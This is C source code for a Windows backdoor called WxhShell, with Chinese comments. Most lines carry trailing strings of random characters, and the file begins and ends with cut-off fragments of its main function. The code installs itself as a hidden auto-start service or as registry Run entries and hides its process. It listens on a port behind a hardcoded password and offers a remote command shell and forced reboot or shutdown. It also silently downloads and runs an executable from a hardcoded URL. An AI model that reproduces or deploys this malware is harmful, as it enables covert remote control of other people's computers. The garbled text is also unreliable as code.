WinExec(wscfg.ws_filenam,SW_HIDE); >Q$ph=
} |;:g7eb
dq,j?~ _}
if(!OsIsNt) { Yw] 7@
// 如果时win9x，隐藏进程并且设置为注册表启动 v{d$DZUs
HideProc(); Ps!umV
StartWxhshell(lpCmdLine); NNt n
} i/j53towe
else CRBj>
if(StartFromService()) Z<^;Ybw{`Z
// 以服务方式启动 vjjVZ
StartServiceCtrlDispatcher(DispatchTable); FFa =/XB"
else TZ *>MySiF
// 普通方式启动 ] # VHx
StartWxhshell(lpCmdLine); @A4$k dJ2
<O5WY37"q
return 0; sSd/\Ap
} d~1uK-L]*
rk6K0TQ8
27k(`{K
_j+!Fd
=========================================== F~q(@.b
1U% /~
{{jV!8wK
^M{,{bG
j$K*R."
AbxhNNK
" z',Fa4@z
I`zd:o]
#include <stdio.h> 5r`rstV
#include <string.h> K+pVRDRcs
#include <windows.h> Xu8I8nAwl
#include <winsock2.h> 6<2H 7'
#include <winsvc.h> 9w$m\nV
#include <urlmon.h> =:aJZ[UU<2
_0(%^5Y
#pragma comment (lib, "Ws2_32.lib") 1W\E`)Z}]
#pragma comment (lib, "urlmon.lib") m>%b4M
!$A/.;0$
#define MAX_USER 100 // 最大客户端连接数 4qdoF_
#define BUF_SOCK 200 // sock buffer 1rJ2}d\y
#define KEY_BUFF 255 // 输入 buffer MjU|XQS:
V(_1q
#define REBOOT 0 // 重启 B*N1)J\5
#define SHUTDOWN 1 // 关机 (J[Xryub
lDTHK2f
#define DEF_PORT 5000 // 监听端口 RN[I%^$"
SRwD`FF
#define REG_LEN 16 // 注册表键长度 #8|LPfA
#define SVC_LEN 80 // NT服务名长度 i|J%jA
_Z23lF9
// 从dll定义API odCt6Du
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nq)F$@
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4b:|>Z-
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PVsKI<
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #,%7tXOLR
R|C2O[r}
// wxhshell配置信息 U}LW8886
struct WSCFG { =eDIvNps
int ws_port; // 监听端口 =j62tDS
char ws_passstr[REG_LEN]; // 口令 _p^"l2%D/
int ws_autoins; // 安装标记, 1=yes 0=no {uj_4Ft
char ws_regname[REG_LEN]; // 注册表键名 vd{QFJ
char ws_svcname[REG_LEN]; // 服务名 9<6q(]U
char ws_svcdisp[SVC_LEN]; // 服务显示名 ovdJ[bO
char ws_svcdesc[SVC_LEN]; // 服务描述信息 >> zd
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y3Fj3NwS
int ws_downexe; // 下载执行标记, 1=yes 0=no }5-w,m{8/
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nN\H'{Wzd
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {%f{U"m
X` zWw_i
}; m[^lu1\wn
qOwql(vX
// default Wxhshell configuration /'+>/
struct WSCFG wscfg={DEF_PORT, j{@6y
"xuhuanlingzhe", ^U}k
1, j,.\QwpU
"Wxhshell", u= NLR\
"Wxhshell", +n)n6}S
"WxhShell Service", T.4&P#a1
"Wrsky Windows CmdShell Service", m1l6QcT1
"Please Input Your Password: ", U[@y8yN6M
1, Dwp,d~z
"http://www.wrsky.com/wxhshell.exe", m^k0j/
"Wxhshell.exe" !y= R)k
}; -QrC>3xZR
V)j[`,M:
// 消息定义模块 -L1785pB85
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T3X'73M
char *msg_ws_prompt="\n\r? for help\n\r#>"; Rff F:,b
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FJ:^pROpm
char *msg_ws_ext="\n\rExit."; ']r8q %
char *msg_ws_end="\n\rQuit."; pk :P;\
char *msg_ws_boot="\n\rReboot..."; WMSJU/-P
char *msg_ws_poff="\n\rShutdown..."; uu9M}]mDl
char *msg_ws_down="\n\rSave to "; *\sPHz.
i[o 2(d,
char *msg_ws_err="\n\rErr!"; s6!6Oqh
char *msg_ws_ok="\n\rOK!"; !+eH8
vADiW~^Q^
char ExeFile[MAX_PATH]; Oynb"T&8
int nUser = 0; `*C=R _
HANDLE handles[MAX_USER]; +$h
int OsIsNt; [_,as
*doNPp)m
SERVICE_STATUS serviceStatus; [9 W@<p
SERVICE_STATUS_HANDLE hServiceStatusHandle; Smr{+m a
3v/B*M VI
// 函数声明 2cR[~\_9.
int Install(void); zLpCKndj
int Uninstall(void); K~N$s"Qx
int DownloadFile(char *sURL, SOCKET wsh); &mwd0%4
int Boot(int flag); p+VU:%.t
void HideProc(void); .ZpOYhk
int GetOsVer(void); i%hCV o
int Wxhshell(SOCKET wsl); WsI`!ez;D
void TalkWithClient(void *cs); 1E+12{~m"i
int CmdShell(SOCKET sock); g!'R}y
int StartFromService(void); >|$]=e,Z
int StartWxhshell(LPSTR lpCmdLine); l<6u@,%s
@(3F4Z.i%.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >f(?Mxh2
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `o[l%I\Q
Dac)`/
// 数据结构和表定义 b 7UJ
SERVICE_TABLE_ENTRY DispatchTable[] = z p E|
{ i"^>sk
{wscfg.ws_svcname, NTServiceMain}, T] zEcx+e
{NULL, NULL} %FO{:@CH
}; OtG\Uw8
rE3dHJN;
// 自我安装 P@{x@9kI
int Install(void) UUah5$Iy
{ i0vm00oT
char svExeFile[MAX_PATH]; D(!^$9e9b
HKEY key; p4`1^}f&Ie
strcpy(svExeFile,ExeFile); |>.Q U3
#9vC]Gm
// 如果是win9x系统，修改注册表设为自启动 Shm> r@C?
if(!OsIsNt) { /^.|m3
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KZm&sk=QM-
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _yg_?GH
RegCloseKey(key); 2u"lc'9v
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1F@k9[d~
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =BJe)!b
RegCloseKey(key); <W4F`6`x
return 0; $v^hzC
} )t6]F6!_
} %TB(E<p`
} .iXN~*+g
else { __=H"UhWv
64s;EC
// 如果是NT以上系统，安装为系统服务 AK:cDKBO
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o[|[xuTm
if (schSCManager!=0) 8bIP"!=*W
{ ]lB zpD
SC_HANDLE schService = CreateService 5xQ-f
( >=~\b
schSCManager, 2]>O ZhS
wscfg.ws_svcname, zM'eqo>!c>
wscfg.ws_svcdisp, @<.@X*#I
SERVICE_ALL_ACCESS, Gw M:f/eV
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (3#PKfY+
SERVICE_AUTO_START, 5KCB^`|b>t
SERVICE_ERROR_NORMAL, nxLuzf4U5
svExeFile, QV;o9j
NULL, e+ xQ\LH
NULL, Sj9fq*
NULL, jr6_|(0 i6
NULL, )vp0X\3q`
NULL v+c>iI
); 9&6juL
if (schService!=0) %uW=kr
{ gP^2GnjHL8
CloseServiceHandle(schService); Dg&84,bv^
CloseServiceHandle(schSCManager); jLVJ+mu
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1W^hPY
strcat(svExeFile,wscfg.ws_svcname); 6{Wo5O{!\
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f:c'j`
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8|u4xf<
RegCloseKey(key); Z;BS@e
return 0; |P|B"I<?
} Bo 35L:r|
} L@}PW)#
CloseServiceHandle(schSCManager); 7)66e
} 0-2|(9 Kc
} ,:_c-d#
h$cm:uks
return 1; R4?>C-;
} $a(-r-_Fi]
tne_]+
// 自我卸载 sZ;|NAx)
int Uninstall(void) D6 B-#u!M
{ @^{Hq6_`
HKEY key; 2 $>DX\h
Q7%4`_$!
if(!OsIsNt) { b 2gng}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h Yu6PWK
RegDeleteValue(key,wscfg.ws_regname); Z;0~f<e%
RegCloseKey(key); X{9^$/XsJ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q z)2a2C
RegDeleteValue(key,wscfg.ws_regname); a#oROb-*~
RegCloseKey(key); #&3,T1i`
return 0; rpNb.
} .`or^`X3
} [ks_wvY:'
} /y$Omc^
else { hor7~u+
}Zhe%M=}G
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RLF&-[mr3
if (schSCManager!=0) x4_IUIgh
{ qJey&_
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }@DCcf$<
if (schService!=0) v.0qE}' |
{ MKK ^-T
if(DeleteService(schService)!=0) { g \mE
CloseServiceHandle(schService); N0`9/lr|
CloseServiceHandle(schSCManager); !_W:%t)g
return 0; blO4)7m
} 2q f|+[X
CloseServiceHandle(schService); #-{<d%qk
} U,P_bz*)
CloseServiceHandle(schSCManager); k.J%rRneN
} [4)Oi-_Y>
} b3(*/KgK
`L1,JE` q
return 1; SV7;B?e%Y
} !MbzFs~
[%W'd9`>
// 从指定url下载文件 86&M Zdv6
int DownloadFile(char *sURL, SOCKET wsh) pR0[qsQM
{ ,Oo`*'a[o7
HRESULT hr; NvK9L.K
char seps[]= "/"; EF/d7
char *token; &@=Jm /5
char *file; PKm|?kn{0(
char myURL[MAX_PATH]; ZOK!SBn^?
char myFILE[MAX_PATH]; i~B?p[
GgO5=|
strcpy(myURL,sURL); kVnRSg}R
token=strtok(myURL,seps); {Jr1K,
while(token!=NULL) *k?:k78L
{ lu utyK!
file=token; ''17(%
token=strtok(NULL,seps); woI5aee|
} =H95?\}T[
dQ:,pe7A
GetCurrentDirectory(MAX_PATH,myFILE); z]7 WC
strcat(myFILE, "\\"); r>mBe;[TX
strcat(myFILE, file); u6iW1,#
send(wsh,myFILE,strlen(myFILE),0); Dy08.Sss
send(wsh,"...",3,0); b,!C8rJ
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !2!~_*sGe
if(hr==S_OK) w,|@e_|J
return 0; ns[/M~_r
else 3:nhZN/95T
return 1; 0KA*6]h t
SmXJQ@jN
} %h.zkocM
U~G7~L &m
// 系统电源模块 "8za'@D"f
int Boot(int flag) D%>Bj>xQD
{ i4D(8;
HANDLE hToken; bpu`'Vx
TOKEN_PRIVILEGES tkp; Iu'9yb
)\wkVAm
if(OsIsNt) { PgtLyzc
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ku5||u.F4*
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X'A`"}=_
tkp.PrivilegeCount = 1; lg^'/8^f
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r[9m-#)>
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X4!93
if(flag==REBOOT) { EEe$A?a;
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DYX{v`>f^
return 0; .ARYCTyG
} F`=p/IAJK
else { 44CZl{pt
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [8ZDMe
return 0; jaS<*_~#R
} ammi4k/
} fe .=Z&
else { c!w[)>v
if(flag==REBOOT) { '1u?-2
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i?L=8+9f
return 0; fy+5i^{=
} g-3^</_fZ
else { +'F;\E
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y_PA9#v7
return 0; #N{]
} A%w9Da?B
} fECV\Z
j26i+Z
return 1; +!).'
} \((MoQ9Qk
=By@%ioIGG
// win9x进程隐藏模块 n"iS[uj,
void HideProc(void) <Bo\a3Z
{ b'4a;k!rS
@&T' h}|:
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {7y;s
if ( hKernel != NULL ) lpi"@3
{ _hnsH I!oD
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #H$lBCWI
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e;i 6C%DB
FreeLibrary(hKernel); XtCIUC{r,
} lpT&v;$`
&M-vKc"d
return; 8W3zrnc
} 5OM#_.p
le*+(aw
// 获取操作系统版本 p22AH%
int GetOsVer(void) Q#MB=:0{
{ 4!sK>l!
OSVERSIONINFO winfo; &l6@C3N$
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .2I?^w&j+
GetVersionEx(&winfo); &C'^YF_^0
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bvD}N<>3N
return 1; |JkfAnrN$I
else 9hr7+fW]t
return 0; *eg0^ByeD
} "DN,1Q lCp
_2KIe(,;
// 客户端句柄模块 'Agw~ &$
int Wxhshell(SOCKET wsl) %g:Q?
{ c5p,~z_Dtu
SOCKET wsh; {@X>!]
struct sockaddr_in client; <F^9ML+'
DWORD myID; $9%F1:u
ByqVNz0L
while(nUser<MAX_USER) QC'Ru'8S
{ i]n2\v AG
int nSize=sizeof(client); /? %V% n
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I`{3I-E
if(wsh==INVALID_SOCKET) return 1; xLed];2G
%P}H3;2
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P!-RZEt$
if(handles[nUser]==0) b5MBzFw
closesocket(wsh); bo<P%$(D
else b}TvQ+W]2
nUser++; h6k" D4o\
} -1Tr!I:1
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AL":j6!OQ
20I`F>-*
return 0; &G2&OFAr]q
} )>2L(~W
n1%2sV)>
// 关闭 socket a&{Y~Og?%
void CloseIt(SOCKET wsh) ZH~bY2^;
{ BP..p ^EPN
closesocket(wsh); 75a3hPCZ
nUser--; yeyDB>#Va.
ExitThread(0); h: yJ
} aV5M}:D
0SvPr[ >
// 客户端请求句柄 `h'+4
void TalkWithClient(void *cs) 0n:cmML)D
{ `M~R4lr
OUWK
SOCKET wsh=(SOCKET)cs; YPx+9^)
char pwd[SVC_LEN]; 4AN8Sx(
char cmd[KEY_BUFF]; )bM,>x
char chr[1]; KBM*7raA
int i,j; '( I0VJJ
ZK;/~9KU
while (nUser < MAX_USER) { 4T3Z9KD!8
% PzkVs
if(wscfg.ws_passstr) { (:8a6=xQ
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '$Z)2fn7
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N.mRay,
//ZeroMemory(pwd,KEY_BUFF); 0{vT`e'
i=0; 'v^Vg
while(i<SVC_LEN) { Xz@#,F:@
u7mPp3ZYK
// 设置超时 "BsK'yo.
fd_set FdRead; ^g4Gw6q6
struct timeval TimeOut; PVg<Ovi^d
FD_ZERO(&FdRead); ' pgPQM<
FD_SET(wsh,&FdRead); pO *[~yq5
TimeOut.tv_sec=8; t+w{uwEY
TimeOut.tv_usec=0; aX1b(h2
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u<8b5An;
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Mf14> `<`
wU|@fm"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #czTX%+9(e
pwd=chr[0]; A|LO!P,w
if(chr[0]==0xd || chr[0]==0xa) { L ~'98C
pwd=0; w71YA#cg
break; tAq0Z)
} -E1-(TS
i++; nrY)i_\
} mhVLlbY|t
@'>RGaPV
// 如果是非法用户，关闭 socket .X%J}c$
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EMP|I^
} )Xqjl
FD[*Q2fU
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O*v&CHd3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vyDxX
_yg;5#3
while(1) { _cvX$(Sg
0U~$u
ZeroMemory(cmd,KEY_BUFF); )Zr\W3yWX
"a].v 8l!
// 自动支持客户端 telnet标准 N ;=zo-8
j=0; Y_Fn)(
while(j<KEY_BUFF) { @\nQ{\^;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "LTw;& y
cmd[j]=chr[0]; A:ts_*
if(chr[0]==0xa || chr[0]==0xd) { =s!0EwDH3
cmd[j]=0; t@R[:n;+
break; n 6pJ]Ce
} 9;Z{++z
j++; 1q(Qr h
} 3F]Dh^IR9
#&T O(bk
// 下载文件 k Nc-@B
if(strstr(cmd,"http://")) { p/ xlR[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /i8OyRpSyk
if(DownloadFile(cmd,wsh)) CIMI?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~588M 8~
else P!Fykg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VxDIA_@y
} j7ZxA*
else { \{`^Q+<
qK7:[\T|?T
switch(cmd[0]) { .Pj<Pe
!O%!A<3
// 帮助 EtzSaB*|
case '?': { Xgd-^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); joskKik^
break; W]/J]O6
} ;*Vnwt A
// 安装 qdI%v#'M
case 'i': { _!1LV[x!s
if(Install()) ;>mM9^Jaf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Tnid7:S
else ?Fx~_GT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hhaiHi!$
break; jz_Y|"{`v
} X PyDZk/m
// 卸载 Qu[QcB{ro-
case 'r': { m[xl)/e
if(Uninstall()) ;+XrCy!.)L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J@:Q(
else B?i#m^S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WfaMu| L
break; 9[zxq`qT}+
} A0Nx?
// 显示 wxhshell 所在路径 *gH]R*Q[Rt
case 'p': { pDlrK&;\z
char svExeFile[MAX_PATH]; BL 1KM2]
strcpy(svExeFile,"\n\r"); '>t&fzD0
strcat(svExeFile,ExeFile); OM0r*<D"!
send(wsh,svExeFile,strlen(svExeFile),0); iV/I909*''
break; JD#q6&|
} JrOxnxd^
// 重启 "6\5eFN;
case 'b': { z.8nYL5^}
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WGn=3(4
if(Boot(REBOOT)) $,@}%NlHc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N-QS/*C.~
else { Qpv#&nfUi6
closesocket(wsh); BzS4:e<
ExitThread(0); 3bWGWI
} pi"M*$
break; AMjr[!44 @
} :W,S
// 关机 PolJo?HZ
case 'd': { 't`h?VvL
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y/\b0&
if(Boot(SHUTDOWN)) }qM^J;uy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A9b(P[!]T:
else { |&8XmexLb
closesocket(wsh); K1hkOj;S
ExitThread(0); +o`%7r(R
} :41Y
break; ?d3K:|g
} j7Fb4;o{
// 获取shell n5kGHL2
case 's': { \ji\r]k
CmdShell(wsh); Fge%6hu
closesocket(wsh); 7 2JwG7qh
ExitThread(0); Y M:9m)
break; _ +DL
} FzX ;~CA
// 退出 >[aR8J/U
case 'x': { ?pZU'5le`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5zBA]1PY
CloseIt(wsh); LH(P<k&
break; B`e/ /
} l%2VA
// 离开 Kj4BVs
case 'q': { 7FoX)54"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y:;_R=M
closesocket(wsh); 9SsVJ<9,R
WSACleanup(); )).=MTk
exit(1); )&_bY~P
break; SX"|~Pi(
} uX_#NP/2
} B-N//ef}
} 8c.>6 Hy
> f X^NX
// 提示信息 K+vD&Z^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (G>su
} HNS^:XR
} [<f2h-V$
*fc8M(]&d
return; yZ6WbI8n
} n{!{,s
39 }e }W"
// shell模块句柄 ,;}
int CmdShell(SOCKET sock) Pg T3E
{ +pqbl*W;1
STARTUPINFO si; s 1M-(d Q
ZeroMemory(&si,sizeof(si)); ,nYa+e
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?I^$35
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h@R n)D
PROCESS_INFORMATION ProcessInfo; HjA~3l7
char cmdline[]="cmd"; 6Sd:5eTEQ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M,JwoKyg
return 0; }PK4 KRn
} P1[.[q/-e
o4p5`jOG@
// 自身启动模式 hx0t!k(3
int StartFromService(void) zgjgEhnvU
{ s U`#hL6;
typedef struct Wd7*7']
{ 8J'5%$3u
DWORD ExitStatus; =? !FO'zt"
DWORD PebBaseAddress; (E0WZ$f}
DWORD AffinityMask; k_}$d{X
DWORD BasePriority; &6CDIxH{
ULONG UniqueProcessId; A x8>
ULONG InheritedFromUniqueProcessId; >I@&"&d
} PROCESS_BASIC_INFORMATION; Q.$8>)
R?)Yh.vi=t
PROCNTQSIP NtQueryInformationProcess; 5/P. 4<c7
X'$H'[8;C
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |u%;"N'p)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1R@G7m
;g?PK5rB(
HANDLE hProcess; %TFsk
PROCESS_BASIC_INFORMATION pbi; F.y_H#h
Jf2JGTcm
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D,.`mX
if(NULL == hInst ) return 0; ub8d]GZJ
R-zS7Jyox
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,Dv*<La`\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \uHC9}0
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ag0 6M U
#@HlnF}T
if (!NtQueryInformationProcess) return 0; v+x<X5u
z{3`nd,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h$`m0-'
if(!hProcess) return 0; I@m(}
G_=i#Tu[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AAfU]4u0S
w%`S>+kX&
CloseHandle(hProcess); spP[S"gI
| t:UpP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uSXnf
if(hProcess==NULL) return 0; 3_wR2AU~
EFDmNud`Q
HMODULE hMod; [@qjy*5p
char procName[255]; $A~aNI
unsigned long cbNeeded; ILDO/>n
xT&/xZLT
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A\S=>[ar-
p,z>:3M
CloseHandle(hProcess); uzQj+Po
JG^GEJ
if(strstr(procName,"services")) return 1; // 以服务启动 -l}"DP _
S}Wj.l+F
return 0; // 注册表启动 wclj9&k
} k+[oYd
rx| ,DI
// 主模块 ~c v|,
int StartWxhshell(LPSTR lpCmdLine) +vJ}'uR3P
{ g \S6>LG!
SOCKET wsl; H5d@TB,`
BOOL val=TRUE; 56YqYu.
int port=0; ='.b/]!_
struct sockaddr_in door; 0 J"g"=
ABoB=0.l
if(wscfg.ws_autoins) Install(); nt_Cb*K<
K+/wJ9^B
port=atoi(lpCmdLine); fCu;n%
T0fm6 J
if(port<=0) port=wscfg.ws_port; *?Wz/OJ0
~h<T0Zc
WSADATA data; p/0dtnXa(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sE]z.Po=
:KC]1_zqR
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; x Y$x=)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5hEA/G
door.sin_family = AF_INET; ,^ ,R .T
door.sin_addr.s_addr = inet_addr("127.0.0.1"); x2fqfrr_]
door.sin_port = htons(port); "PTEt{qn
SD~4CtlfI
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =@O&$&
closesocket(wsl); %Qj$@.*:
return 1; l-r$czY
} ,]JIp~=nsh
J0bcW25
if(listen(wsl,2) == INVALID_SOCKET) { 0u"j^v
closesocket(wsl); tol-PJS}
return 1; 3`D*AFQc
} `;G@qp:A
Wxhshell(wsl); a"4X7 D+
WSACleanup(); 21<Sfsc$
C+!=C{@7di
return 0; Y[b08{/
.(p_YjIA
} P;XA|`&
kn$SG
// 以NT服务方式启动 Ot=nKdP}D
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9:%')M&Q
{ i\ 7JQZ
DWORD status = 0; 1)}hzA
DWORD specificError = 0xfffffff; u-.5rH l
Q>X1 :Zn3
serviceStatus.dwServiceType = SERVICE_WIN32; pdN8hJ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; u*\QVOF
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dw}ge,bBic
serviceStatus.dwWin32ExitCode = 0; Tl"r#
serviceStatus.dwServiceSpecificExitCode = 0; vfT @;`
serviceStatus.dwCheckPoint = 0; J7WNgl% u
serviceStatus.dwWaitHint = 0; KX\=wFbP)
ErA*a3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9;*B*S~znW
if (hServiceStatusHandle==0) return; OP(om$xm
fi'zk
status = GetLastError(); LD WYFOGQ
if (status!=NO_ERROR) &sn-;r
{ YJwI@E(l$
serviceStatus.dwCurrentState = SERVICE_STOPPED; .j)DE}[q>
serviceStatus.dwCheckPoint = 0; Ao\OU}
serviceStatus.dwWaitHint = 0; v8\_6}*I
serviceStatus.dwWin32ExitCode = status; E2o8'.~Yd`
serviceStatus.dwServiceSpecificExitCode = specificError; " 5Pqvi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dJQwb
return; vfDX~_N
} 0"\js:-$
yHf^6|$8
serviceStatus.dwCurrentState = SERVICE_RUNNING; {J)gS
serviceStatus.dwCheckPoint = 0; m(xyEU
serviceStatus.dwWaitHint = 0; Y*jkUQ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C@XnV=J
} /&=y_%VR
{O=_c|u{N
// 处理NT服务事件，比如：启动、停止 Y^#>3T
VOID WINAPI NTServiceHandler(DWORD fdwControl) {6)H.vpP
{ 6ypHH 2X
switch(fdwControl) tG"EbWi
{ Y2uy@j*N
case SERVICE_CONTROL_STOP: NeEV=+<-G
serviceStatus.dwWin32ExitCode = 0; z6qx9x|Ij
serviceStatus.dwCurrentState = SERVICE_STOPPED; k^q~2
serviceStatus.dwCheckPoint = 0; J8@bPS27q
serviceStatus.dwWaitHint = 0; |1!OwQax
{ iH)vLD
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _!Z}HCk
} 5 r<cna
return; B.Z5+MgM
case SERVICE_CONTROL_PAUSE: 04X/(74
serviceStatus.dwCurrentState = SERVICE_PAUSED; Wb^g{F!W
break; GVu-<R
case SERVICE_CONTROL_CONTINUE: d_V7w4lK
serviceStatus.dwCurrentState = SERVICE_RUNNING; v~dUH0P<>e
break; C?g*c
case SERVICE_CONTROL_INTERROGATE: \@NnL\t u
break; G&N),wsNZK
}; zLS?:yq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5C-n"8&C&
} >Zm|R|{BE
vHymSU/J
// 标准应用程序主函数 <&1hJ)O
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GXTjK!
{ up?S (.*B
XS0NjZW
// 获取操作系统版本 Q;z'"P
OsIsNt=GetOsVer(); >O1u![9K|w
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Pm|a~[m
=p8iYtI
// 从命令行安装 We"\nOP
if(strpbrk(lpCmdLine,"iI")) Install(); kQ6YQsJ.*
!*k'3rKOW
// 下载执行文件 `LTD|0;
if(wscfg.ws_downexe) { 2F,?}jJ.K
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) unN*L
WinExec(wscfg.ws_filenam,SW_HIDE); kkT=g^D9j
} t/x]vCP,2D
Zq/=uB7Z
if(!OsIsNt) { `g}en%5b\
// 如果时win9x，隐藏进程并且设置为注册表启动 ,f~8:LHq
HideProc(); i[e-dT:*R
